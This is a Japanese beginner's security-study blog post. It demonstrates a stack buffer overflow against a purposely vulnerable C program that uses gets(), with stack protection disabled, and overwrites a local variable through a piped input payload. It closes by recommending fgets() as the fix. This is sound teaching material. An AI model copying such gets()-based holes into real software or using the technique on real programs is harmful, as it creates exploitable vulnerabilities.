読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Buffer Overflowによる局所変数の書き換え実験

1. 記事の目的

本記事では,Buffer Overflowするプログラムを元に,局所変数を任意の値に書き換えるということに挑戦してみる.

2. プログラム概要

今回は,以下のbof.cを使う.

// bof.c
#include <stdio.h>
#include <stdlib.h>
int main(){

  // ローカル変数
  int num = 0;
  char buffer[5] = {};

  // 標準入力
  gets(buffer);
  
  // 各種アドレスと値の出力
  printf("num = %d\n", num);
  printf("num address = %p\n", &num);
  printf("buffer = %s\n", buffer);
  printf("buffer address = %p\n", buffer);
    
  if(num == 0x12345678){ 
    printf("Hacked\n");
  }

  return 0;
}

このプログラムでは,0初期化されたnumと5文字分のchar配列がローカル変数として存在しており,gets()関数を用いてbufferに文字列を読み込む.その後numとbufferのアドレスと値を出力し,numが0x12345678と等しかった場合"Hacked"を出力する. そして今回の目的は,Buffer Overflowを利用して,このnumの値を書き換えることであるので,書き換わった際にはif文の条件式を真にしHackedを出力させるように実装した.

このプログラムを前エントリで学んだSSPを無効にしてコンパイルする.またASLRもオフにしておく.

$ gcc -o bof bof.c -fno-stack-protector

3. プログラムの調査

まず普通に実行した結果が以下である.入力文字列としてAを5回入力した.

$ ./bof
AAAAA
num = 0
num address = 0xbffffc0c
buffer = AAAAA 
buffer address = 0xbffffc07

この結果より以下のことが分かった.

  1. numは上書きされていない
  2. numの番地は0xbffffc0c, bufferの番地は0xbffffc07
  3. bufferの方がnumより低いアドレス番地
  4. bufferの値はAAAAA

bufferは5文字分つまり5byteの配列となっているため,bufferのアドレス0xbffffc07に5を足した値0xbffffc0cがnumの番地となっておりbufferとnumは並んでいることがわかる.

4. 実験

今回入力した文字列は5文字である.もしこれを6文字にした場合はどうなるだろうか?これを実行した結果が以下である.

$ ./bof
AAAAAA
num = 65
num address = 0xbffffc0c
buffer = AAAAAA
buffer address = 0xbffffc07

この結果より以下のことが分かった.

numの値が代入していないのにもかかわらず65になっている.

これが本記事の目的である局所変数の上書きである.これは5byte分しか確保されていないbuffer配列に対して6byte分の文字列を与えた場合,溢れた1byte分が次のアドレスの内容,つまり今回だとnumのアドレスの内容になってしまうのである. numが65と出力されているのは,'A'がasciiコードで10進数65で表されるためである.

そこでnumの値を0x12345678に書き換えるために以下のように実行してみた.ここでターミナルから書き込むのが面倒なので常套手段であるechoコマンドとパイプを用いた文字列の流し込みを行った.

$ echo -e 'AAAAA\x12\x34\x56\x78' | ./bof
num = 2018915346
num address = 0xbffffc0c
buffer = AAAAA4Vx
buffer address = 0xbffffc07

しかしこれではHackedという文字が出力されていないためifの条件式が真になっていない,つまり0x12345678になっていないことがわかる.これはエンディアンの違いによるものである.Intel x86プロセッサの環境においてはリトルエンディアンと呼ばれる最下位bitから低位アドレスに書き込んでいく方法である.つまり今回の場合では,値が逆に入ってしまっている.そこで順番を逆にして以下のように実行してみる.

echo -e 'AAAAA\x78\x56\x34\x12' | ./bof           
num = 305419896
num address = 0xbffffc0c
buffer = AAAAAxV4
buffer address = 0xbffffc07
Hacked

そうするとHackedという文字列が出力されていることからnumが0x12345678で上書きされたことが分かった.実際に検証してみると,

$ echo "obase=10; ibase=16; 12345678" | bc          
305419896
$ echo "obase=10; ibase=16; 78563412" | bc
2018915346

numの値が0x12345678になっていることがわかる.さらに先ほどの間違えた時の値も同じになっている.

このようにして簡単に関数内の局所変数の値を書き換えることができた.

5.考察

そもそもこのように局所変数の値を書き換えることができてしまった原因を考えてみる.今回5文字以上の値を入力した際にBuffer Overflowが発生した.このことより文字入力に制限をかけることができればこういった攻撃を防げるのではないだろうか.逆に今回このような脆弱性を生んでしまった原因として考えるとそういった処理が行われていないgets()関数ではないだろうか.実際に記事通りにコンパイルをした読者は,warningとしてgetsを使わないでくださいといった旨のメッセージが出力されていたと思う.そこでgetsの代わりになる関数を考えるとfgets()関数が挙げられる.これは,引数に入力文字列を格納するアドレス,入力文字列の長さを指定する.この時に,入力文字列を5文字に制限することで今回のようなBuffer Overflowの攻撃は防げると考えれる.